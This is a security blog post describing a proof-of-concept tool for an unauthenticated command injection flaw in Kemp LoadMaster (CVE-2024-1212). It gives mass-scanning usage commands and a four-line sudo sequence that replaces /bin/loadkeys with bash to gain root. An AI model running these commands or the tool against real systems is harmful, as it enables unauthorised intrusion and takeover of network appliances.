Cyber security

CVE-2024-1212 Command Injection Exploit For Kemp LoadMaster : A Comprehensive Guide

This Python script is designed as a proof of concept (PoC) to demonstrate an unauthenticated command injection vulnerability in Kemp LoadMaster, identified as CVE-2024-1212.

Features

  • Scan a single target or multiple targets for the CVE-2024-1212 vulnerability.
  • Execute commands on vulnerable targets.
  • Utilize multi-threading for faster scanning of multiple targets.
  • Save vulnerable targets to an output file for further analysis.

Usage

To use this script, Python 3 must be installed on your system. You can execute the script in the terminal or command prompt as follows:

python exploit.py --url "http://target-url.com"

To scan multiple targets from a file:

python exploit.py -f targets.txt -o vulnerable.txt -t 50

Options

  • -u, --url: Specify a target URL for command injection.
  • -f, --file: Specify a file containing target URLs to scan.
  • -o, --output: Specify an output file for saving scan results.
  • -t, --threads: Specify the number of threads to use for scanning.

Disclaimer

This tool is provided for educational purposes only and is designed to help security professionals test the vulnerability of their own systems. Unauthorized testing on systems that you do not have explicit permission to test is illegal and unethical. Use this tool responsibly.

Privilege Escalation

Once a shell has been obtained, privilege escalation can be achieved by following these commands as per the researcher’s guidance:

sudo /bin/cp /bin/loadkeys /tmp/loadkeys
sudo /bin/cp /bin/bash /bin/loadkeys
sudo /bin/loadkeys -c /bin/bash
cp /tmp/loadkeys /bin/loadkeys
Varshini

Varshini is a Cyber Security expert in Threat Analysis, Vulnerability Assessment, and Research. Passionate about staying ahead of emerging Threats and Technologies.

Recent Posts

Starship : Revolutionizing Terminal Experiences Across Shells

Starship is a powerful, minimal, and highly customizable cross-shell prompt designed to enhance the terminal…

2 hours ago

Lemmy : A Decentralized Link Aggregator And Forum For The Fediverse

Lemmy is an innovative, open-source platform designed for link aggregation and discussion, providing a decentralized…

2 hours ago

Massive UX Improvements, Custom Disassemblers, And MSVC Support In ImHex v1.37.0

The latest release of ImHex v1.37.0 introduces a host of exciting features and improvements, enhancing…

4 hours ago

Ghauri : A Powerful SQL Injection Detection And Exploitation Tool

Ghauri is a cutting-edge, cross-platform tool designed to automate the detection and exploitation of SQL…

7 hours ago

Writing Tools : Revolutionizing The Art Of Writing

Writing tools have become indispensable for individuals looking to enhance their writing efficiency, accuracy, and…

7 hours ago

PatchWerk : A Tool For Cleaning NTDLL Syscall Stubs

PatchWerk is a proof-of-concept (PoC) tool designed to clean NTDLL syscall stubs by patching syscall…

1 day ago